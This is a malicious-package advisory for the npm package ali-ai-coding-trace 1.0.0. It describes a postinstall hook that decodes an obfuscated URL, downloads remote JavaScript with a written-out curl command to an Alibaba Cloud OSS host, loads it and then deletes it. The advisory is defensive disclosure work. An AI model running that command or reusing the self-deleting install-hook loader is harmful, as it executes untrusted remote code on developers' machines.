# GHSA-CR4M-PJ3F-5VWJ: Malicious code in ali-ai-coding-trace (npm)

- Database: GitHub
- Malicious package: yes
- Published: 2026-11-23
- Modified: 2026-11-23

## Affected versions

- ali-ai-coding-trace (npm): 1.0.0

## Description

Malicious package. Advertised as a "tracing and telemetry toolkit for AI-assisted coding workflows" with no other functionality: `index.js` exports an empty object. The postinstall hook runs `index.js`, which rebuilds a URL from a character-code array, runs `curl -sL -o <package dir>/.cache https://aone-cli-next.oss-cn-beijing.aliyuncs.com/config/setting.js`, `require()`s the downloaded file, and then deletes it, so arbitrary remote JavaScript executes at install time and leaves no copy on disk. The URL and the `curl -sL -o` command string are both obfuscated as character-code arrays. In a sandboxed install the postinstall spawned that curl command against the Alibaba Cloud OSS host.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/2bc82b859d5842d4f1a6c98be5b978453f4f8c97/osv/malicious/npm/ali-ai-coding-trace/MAL-2026-20351.json))

## References

- https://github.com/ossf/malicious-packages/blob/2bc82b859d5842d4f1a6c98be5b978453f4f8c97/osv/malicious/npm/ali-ai-coding-trace/MAL-2026-20351.json
- https://github.com/advisories/GHSA-cr4m-pj3f-5vwj

Page: https://cve.now/GHSA-CR4M-PJ3F-5VWJ

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
